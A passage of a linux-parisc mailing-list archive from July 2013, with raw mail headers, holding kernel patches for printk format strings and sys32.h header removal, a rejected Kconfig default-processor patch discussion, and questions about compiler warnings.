> index eb4aea3..6c1e34c 100644
> --- a/drivers/net/ethernet/sis/sis900.c
> +++ b/drivers/net/ethernet/sis/sis900.c
> @@ -1723,7 +1723,7 @@ static irqreturn_t sis900_interrupt(int irq, void *dev_instance)
>  
>  	if(netif_msg_intr(sis_priv))
>  		printk(KERN_DEBUG "%s: exiting interrupt, "
> -		       "interrupt status = 0x%#8.8x.\n",
> +		       "interrupt status = %#8.8x\n",
>  		       net_dev->name, sr32(isr));
>  
>  	spin_unlock (&sis_priv->lock);
> diff --git a/mm/memory-failure.c b/mm/memory-failure.c
> index 09ae111..29d3f38 100644
> --- a/mm/memory-failure.c
> +++ b/mm/memory-failure.c
> @@ -1267,7 +1267,7 @@ void memory_failure_queue(unsigned long pfn, int trapno, int flags)
>  	if (kfifo_put(&mf_cpu->fifo, &entry))
>  		schedule_work_on(smp_processor_id(), &mf_cpu->work);
>  	else
> -		pr_err("Memory failure: buffer overflow when queuing memory failure at 0x%#lx\n",
> +		pr_err("Memory failure: buffer overflow when queuing memory failure at %#lx\n",
>  		       pfn);
>  	spin_unlock_irqrestore(&mf_cpu->lock, proc_flags);
>  	put_cpu_var(memory_failure_cpu);
> diff --git a/sound/pci/ens1370.c b/sound/pci/ens1370.c
> index ca8929b..61262f3 100644
> --- a/sound/pci/ens1370.c
> +++ b/sound/pci/ens1370.c
> @@ -1842,7 +1842,7 @@ static int snd_ensoniq_create_gameport(struct ensoniq *ensoniq, int dev)
>  
>  	default:
>  		if (!request_region(io_port, 8, "ens137x: gameport")) {
> -			printk(KERN_WARNING "ens137x: gameport io port 0x%#x in use\n",
> +			printk(KERN_WARNING "ens137x: gameport io port %#x in use\n",
>  			       io_port);
>  			return -EBUSY;
>  		}
> diff --git a/sound/pci/via82xx.c b/sound/pci/via82xx.c
> index 3c511d0..5ae6f04 100644
> --- a/sound/pci/via82xx.c
> +++ b/sound/pci/via82xx.c
> @@ -1940,7 +1940,7 @@ static int snd_via686_create_gameport(struct via82xx *chip, unsigned char *legac
>  
>  	r = request_region(JOYSTICK_ADDR, 8, "VIA686 gameport");
>  	if (!r) {
> -		printk(KERN_WARNING "via82xx: cannot reserve joystick port 0x%#x\n",
> +		printk(KERN_WARNING "via82xx: cannot reserve joystick port %#x\n",
>  		       JOYSTICK_ADDR);
>  		return -EBUSY;
>  	}
> 
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Kconfig: use 'PA8X00' as the default choise instead
 of 'PA7000'
Date: Fri, 26 Jul 2013 22:08:54 +0200
Lines: 111
Approved: news@gmane.org
Message-ID: <51F2D756.7040300@gmx.de>
References: <51EF8C52.50403@asianux.com> <1374674443.4634.3.camel@dabdike> <51F07332.6030908@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1374869338 21019 80.91.229.3 (26 Jul 2013 20:08:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Jul 2013 20:08:58 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Chen Gang F T <chen.gang.flying.transformer@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 26 22:08:59 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V2oJt-0004wF-O2
	for glpp-linux-parisc@plane.gmane.org; Fri, 26 Jul 2013 22:08:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752253Ab3GZUI5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Jul 2013 16:08:57 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:64369 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751884Ab3GZUI4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Jul 2013 16:08:56 -0400
Original-Received: from [192.168.178.60] ([84.173.52.242]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MaZrd-1Uncoo0213-00KBWu for
 <linux-parisc@vger.kernel.org>; Fri, 26 Jul 2013 22:08:55 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <51F07332.6030908@gmail.com>
X-Provags-ID: V03:K0:++fe/recQcNZeUqWy5HtRuYlwf5NjyZCGqKYqDI0iYfafNKyNyZ
 xylVAx5Kb2WJ/8EzikdeprO2J2r9qOXNuvHldm7Ie2wj494Z9WS+4MAdCqyBGV9rlZ1w/LV
 8jQ/t42+RZZ5bUKsslWhZ6NZfy+iEAEcmxKDt/Pzk9r5R5rph3j0c0oAZKwMionjD/BMpVI
 exy+KKSzw/Y6jAcq5WNdg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5221
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5221>

Hi Chen,

On 07/25/2013 02:37 AM, Chen Gang F T wrote:
> On 07/24/2013 10:00 PM, James Bottomley wrote:
>>
>> On Wed, 2013-07-24 at 16:12 +0800, Chen Gang wrote:
>>> For server, 64-bit kernel is widely used and '64BIT' have been alre=
ady
>>> as the default option of a server.
>>>
>>> So better to use 64-bit kernel as default choise instead of 32-bit
>>> kernel.
>>
>> I think this is irrelevant since we have defconfig for this.

I do have the same opinion.
It's not necessary.

=46urthermore, for a real 64 bit kernel you need to enable
CONFIG_64BIT not CONFIG_PA8X00.

> Hmm... but I still suggest when use 'allmodconfig' let 64-bit as the
> default choice (normally 64-bit is the default choice for servers).

Yeah, but we do support workstations as well.

>>> Or when use cross-compiler 'hppa64-linux-gnu-gcc' with allmodconfig=
, it
>>> will report BUILD_BUG_ON:
>>>
>>>   arch/parisc/mm/init.c: In function =E2=80=98mem_init=E2=80=99:
>>>   arch/parisc/mm/init.c:581:2: error: call to =E2=80=98__compiletim=
e_assert_581=E2=80=99 declared with attribute error: BUILD_BUG_ON faile=
d: PTE_ENTRY_SIZE !=3D sizeof(pte_t)
>>
>> This shows you're using a buggy compiler.  PTE_OFFSET_SIZE is genera=
ted
>> as part of the build process, so you need a correct compiler.
>>
>=20
> Hmm... It means the compiler assumes to build 64-bit code (hppa64), b=
ut
> our configuration is for 32-bit, they are mismatch.
>=20
> Maybe we can say hppa64-linux-gnu-gcc can not build the 32-bit parisc
> code (although it is not precise), but at least, it is not a real bug=
=2E

It's a fact:
hppa64-linux-gnu-gcc can *not* build the 32-bit parisc.
Only hppa-linux-gnu-gcc can build 32bit code.=20


> This contents wants to say: when use 'allmodconfig' for a server, we =
do
> not build a 64-bit server.
>=20
>=20
>>> Signed-off-by: Chen Gang <gang.chen@asianux.com>

Thanks for your patch, but:
NAK.

Helge

>>> ---
>>>  arch/parisc/Kconfig |    2 +-
>>>  1 files changed, 1 insertions(+), 1 deletions(-)
>>>
>>> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
>>> index aa399a5..37bdecf 100644
>>> --- a/arch/parisc/Kconfig
>>> +++ b/arch/parisc/Kconfig
>>> @@ -111,7 +111,7 @@ menu "Processor type and features"
>>> =20
>>>  choice
>>>  	prompt "Processor type"
>>> -	default PA7000
>>> +	default PA8X00
>>
>> This doesn't require 64 bit: PA8xxx processors can operate happily i=
n 32
>> bit mode it does make the question appear, since PA7xxx are 32 bit o=
nly.
>>
>=20
> Yeah, 'PA8X00' can compitable with 32-bit, but it likes 64-bit, the
> following config files are for 'PA8X00':
>=20
>   a500_defconfig: for 64-bit
>   c3000_defconfig: for 32-bit
>   c8000_defconfig: for 64-bit
>   generic-64bit_defconfig: for 64-bit
>=20
> At least, we can say PA8xxx is a 64-bit processor for parisc, is it
> correct ?
>=20
> And for 'allmodconfig', if let 'PA8X00' as default choice, it will bu=
ild
> 64-bit kernel.
>=20
>=20
> Thanks.
>=20

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Remove arch/parisc/kernel/sys32.h header
Date: Sun, 28 Jul 2013 17:49:53 -0400
Lines: 97
Approved: news@gmane.org
Message-ID: <BLU0-SMTP455DABAD7E46C405F81EBF97540@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-18--543481663"
X-Trace: ger.gmane.org 1375048216 14558 80.91.229.3 (28 Jul 2013 21:50:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 28 Jul 2013 21:50:16 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 28 23:50:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V3Yqy-0000h5-Tg
	for glpp-linux-parisc@plane.gmane.org; Sun, 28 Jul 2013 23:50:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752185Ab3G1VuM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Jul 2013 17:50:12 -0400
Original-Received: from blu0-omc4-s5.blu0.hotmail.com ([65.55.111.144]:54166 "EHLO
	blu0-omc4-s5.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751650Ab3G1VuL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Jul 2013 17:50:11 -0400
Original-Received: from BLU0-SMTP45 ([65.55.111.135]) by blu0-omc4-s5.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 28 Jul 2013 14:50:10 -0700
X-EIP: [2ylFu2HP/02i+gZqxpm7x8Gue+BFJr5v]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.85.79]) by BLU0-SMTP45.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 28 Jul 2013 14:50:09 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 28 Jul 2013 21:50:09.0370 (UTC) FILETIME=[6DEDF3A0:01CE8BDC]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5222
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5222>

--Apple-Mail-18--543481663
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

The KERNEL_SYSCALL define is not used anymore so the header can be  
removed.

Signed-off-by: John David Anglin  <dave.anglin@bell.net>
---


--Apple-Mail-18--543481663
Content-Disposition: attachment; filename="sysv32.diff.txt"
Content-Type: text/plain; x-unix-mode=0644; name="sysv32.diff.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 940188d..07349b0 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -56,13 +56,6 @@
 #define A(__x)	((unsigned long)(__x))
 
 /*
- * Atomically swap in the new signal mask, and wait for a signal.
- */
-#ifdef CONFIG_64BIT
-#include "sys32.h"
-#endif
-
-/*
  * Do a signal return - restore sigcontext.
  */
 
diff --git a/arch/parisc/kernel/signal32.c b/arch/parisc/kernel/signal32.c
index 33eca1b..6c6a271 100644
--- a/arch/parisc/kernel/signal32.c
+++ b/arch/parisc/kernel/signal32.c
@@ -34,7 +34,6 @@
 #include <asm/uaccess.h>
 
 #include "signal32.h"
-#include "sys32.h"
 
 #define DEBUG_COMPAT_SIG 0 
 #define DEBUG_COMPAT_SIG_LEVEL 2
diff --git a/arch/parisc/kernel/sys32.h b/arch/parisc/kernel/sys32.h
deleted file mode 100644
index 60dd470..0000000
--- a/arch/parisc/kernel/sys32.h
+++ /dev/null
@@ -1,36 +0,0 @@
-/* 
- *    Copyright (C) 2002 Richard Hirst <rhirst at parisc-linux.org>
- *    Copyright (C) 2003 James Bottomley <jejb at parisc-linux.org>
- *    Copyright (C) 2003 Randolph Chung <tausq with parisc-linux.org>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-#ifndef _PARISC64_KERNEL_SYS32_H
-#define _PARISC64_KERNEL_SYS32_H
-
-#include <linux/compat.h>
-
-/* Call a kernel syscall which will use kernel space instead of user
- * space for its copy_to/from_user.
- */
-#define KERNEL_SYSCALL(ret, syscall, args...) \
-{ \
-    mm_segment_t old_fs = get_fs(); \
-    set_fs(KERNEL_DS); \
-    ret = syscall(args); \
-    set_fs (old_fs); \
-}
-
-#endif
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index a134ff4..bb9f3b6 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -42,8 +42,6 @@
 #include <asm/uaccess.h>
 #include <asm/mmu_context.h>
 
-#include "sys32.h"

From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Kconfig: use 'PA8X00' as the default choise instead
 of 'PA7000'
Date: Mon, 29 Jul 2013 09:11:52 +0800
Lines: 152
Approved: news@gmane.org
Message-ID: <51F5C158.3030303@asianux.com>
References: <51EF8C52.50403@asianux.com> <1374674443.4634.3.camel@dabdike> <51F07332.6030908@gmail.com> <51F2D756.7040300@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=GB2312
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1375060376 28099 80.91.229.3 (29 Jul 2013 01:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Jul 2013 01:12:56 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 29 03:12:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V3c18-0001yQ-Kw
	for glpp-linux-parisc@plane.gmane.org; Mon, 29 Jul 2013 03:12:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751792Ab3G2BMy convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Jul 2013 21:12:54 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:15469 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751586Ab3G2BMx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Jul 2013 21:12:53 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 95B9818403D0; Mon, 29 Jul 2013 09:12:52 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 2EF5A1840241;
	Mon, 29 Jul 2013 09:12:52 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <51F2D756.7040300@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5223
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5223>

On 07/27/2013 04:08 AM, Helge Deller wrote:
> Hi Chen,
>=20
> On 07/25/2013 02:37 AM, Chen Gang F T wrote:
>> On 07/24/2013 10:00 PM, James Bottomley wrote:
>>>
>>> On Wed, 2013-07-24 at 16:12 +0800, Chen Gang wrote:
>>>> For server, 64-bit kernel is widely used and '64BIT' have been alr=
eady
>>>> as the default option of a server.
>>>>
>>>> So better to use 64-bit kernel as default choise instead of 32-bit
>>>> kernel.
>>>
>>> I think this is irrelevant since we have defconfig for this.
>=20
> I do have the same opinion.
> It's not necessary.
>=20
> Furthermore, for a real 64 bit kernel you need to enable
> CONFIG_64BIT not CONFIG_PA8X00.
>=20

But for "allmodconfig", it can not enable 'CONFIG_64BIT' automatically.

>> Hmm... but I still suggest when use 'allmodconfig' let 64-bit as the
>> default choice (normally 64-bit is the default choice for servers).
>=20
> Yeah, but we do support workstations as well.
>=20

OH, thanks, I really don't know about it (today I know :-) ), in my
original memory, parisc is mainly for server and well known by many mem=
bers.

As far as I know, we often set mainly used item as default choice, if
have several mainly used item, need set general or compatible item as
default choice.

If 'PA8X00' is our mainly used item (only 'PA8X00' support 64-bit), I
still suggest to set it as default choice. Or when 'allmodconfig' works
for a server, finds 'CONFIG_64BIT' unset, it really wonders "Why ?"

>>>> Or when use cross-compiler 'hppa64-linux-gnu-gcc' with allmodconfi=
g, it
>>>> will report BUILD_BUG_ON:
>>>>
>>>>   arch/parisc/mm/init.c: In function =A1=AEmem_init=A1=AF:
>>>>   arch/parisc/mm/init.c:581:2: error: call to =A1=AE__compiletime_=
assert_581=A1=AF declared with attribute error: BUILD_BUG_ON failed: PT=
E_ENTRY_SIZE !=3D sizeof(pte_t)
>>>
>>> This shows you're using a buggy compiler.  PTE_OFFSET_SIZE is gener=
ated
>>> as part of the build process, so you need a correct compiler.
>>>
>>
>> Hmm... It means the compiler assumes to build 64-bit code (hppa64), =
but
>> our configuration is for 32-bit, they are mismatch.
>>
>> Maybe we can say hppa64-linux-gnu-gcc can not build the 32-bit paris=
c
>> code (although it is not precise), but at least, it is not a real bu=
g.
>=20
> It's a fact:
> hppa64-linux-gnu-gcc can *not* build the 32-bit parisc.
> Only hppa-linux-gnu-gcc can build 32bit code.=20
>=20
>=20

Thank you for your confirmation.

I should build hppa-linux-gnu-gcc cross-compiler firstly.

Hmm... I try to finish it within this week (but not quite sure), but at
least I should finish it within next month (2013-08-31).

Welcome any additional suggestions or completions (especially the
related information for parisc cross-compiler).

>> This contents wants to say: when use 'allmodconfig' for a server, we=
 do
>> not build a 64-bit server.
>>
>>
>>>> Signed-off-by: Chen Gang <gang.chen@asianux.com>
>=20
> Thanks for your patch, but:
> NAK.
>=20

OK, I can understand.

Thank you too.

> Helge
>=20
>>>> ---
>>>>  arch/parisc/Kconfig |    2 +-
>>>>  1 files changed, 1 insertions(+), 1 deletions(-)
>>>>
>>>> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
>>>> index aa399a5..37bdecf 100644
>>>> --- a/arch/parisc/Kconfig
>>>> +++ b/arch/parisc/Kconfig
>>>> @@ -111,7 +111,7 @@ menu "Processor type and features"
>>>> =20
>>>>  choice
>>>>  	prompt "Processor type"
>>>> -	default PA7000
>>>> +	default PA8X00
>>>
>>> This doesn't require 64 bit: PA8xxx processors can operate happily =
in 32
>>> bit mode it does make the question appear, since PA7xxx are 32 bit =
only.
>>>
>>
>> Yeah, 'PA8X00' can compitable with 32-bit, but it likes 64-bit, the
>> following config files are for 'PA8X00':
>>
>>   a500_defconfig: for 64-bit
>>   c3000_defconfig: for 32-bit
>>   c8000_defconfig: for 64-bit
>>   generic-64bit_defconfig: for 64-bit
>>
>> At least, we can say PA8xxx is a 64-bit processor for parisc, is it
>> correct ?
>>
>> And for 'allmodconfig', if let 'PA8X00' as default choice, it will b=
uild
>> 64-bit kernel.
>>
>>
>> Thanks.
>>
>=20


--=20
Chen Gang

--=20
Chen Gang
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [Suggestion] parisc: about the warnings "unsigned expression < 0
 is always false"
Date: Mon, 29 Jul 2013 16:39:29 +0800
Lines: 31
Approved: news@gmane.org
Message-ID: <51F62A41.6090909@asianux.com>
References: <51EF8C52.50403@asianux.com> <1374674443.4634.3.camel@dabdike> <51F07332.6030908@gmail.com> <51F2D756.7040300@gmx.de> <51F5C158.3030303@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=GB2312
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375087234 16564 80.91.229.3 (29 Jul 2013 08:40:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Jul 2013 08:40:34 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 29 10:40:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V3j0J-0003bH-Vw
	for glpp-linux-parisc@plane.gmane.org; Mon, 29 Jul 2013 10:40:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750841Ab3G2Ikb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Jul 2013 04:40:31 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:32476 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750811Ab3G2Ikb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Jul 2013 04:40:31 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id F2752184030D; Mon, 29 Jul 2013 16:40:29 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.0.143] (unknown [219.143.36.82])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id AC6481840241;
	Mon, 29 Jul 2013 16:40:29 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <51F5C158.3030303@asianux.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5224
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5224>

Hello Maintainers:

Are the warnings real issue (I guess so, but don't know how to fix) ?

Please help check, thanks.

The cross compiler is built from (gcc-4.9.0 and binutils-2.23.2 with
'hppa-gchen-linux'), the related warnings (for 'allmodconfig'):

In file included from arch/parisc/math-emu/fmpyfadd.c:50:0:
arch/parisc/math-emu/fmpyfadd.c: In function 'dbl_fmpyfadd':
arch/parisc/math-emu/dbl_float.h:755:30: warning: comparison of unsigned expression < 0 is always false [-Wtype-limits]
  if ((unsigned int)(src1dstD += (src2D)) < (unsigned int)(src2D)) { \
                              ^
arch/parisc/math-emu/fmpyfadd.c:394:4: note: in expansion of macro 'Fourword_add'
    Fourword_add(tmpresp1, tmpresp2, tmpresp3, tmpresp4,
    ^
arch/parisc/math-emu/dbl_float.h:765:33: warning: comparison of unsigned expression < 0 is always false [-Wtype-limits]
     if ((unsigned int)(src1dstC += (src2C)) <   \
   
                              ^
:-)

Thanks.
--
Chen Gang
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Suggestion] parisc: kernel: about section mismatch warning.
Date: Mon, 29 Jul 2013 16:49:18 +0800
Lines: 43
Approved: news@gmane.org
Message-ID: <51F62C8E.6080003@asianux.com>
References: <51EF8C52.50403@asianux.com> <51EF8FED.9090903@asianux.com> <1374675095.4634.6.camel@dabdike> <51F06A31.9090408@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375087820 22709 80.91.229.3 (29 Jul 2013 08:50:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Jul 2013 08:50:20 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 29 10:50:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V3j9o-0001wt-RS
	for glpp-linux-parisc@plane.gmane.org; Mon, 29 Jul 2013 10:50:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751339Ab3G2IuT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Jul 2013 04:50:19 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:59705 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750898Ab3G2IuT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Jul 2013 04:50:19 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 6362118402E2; Mon, 29 Jul 2013 16:50:18 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
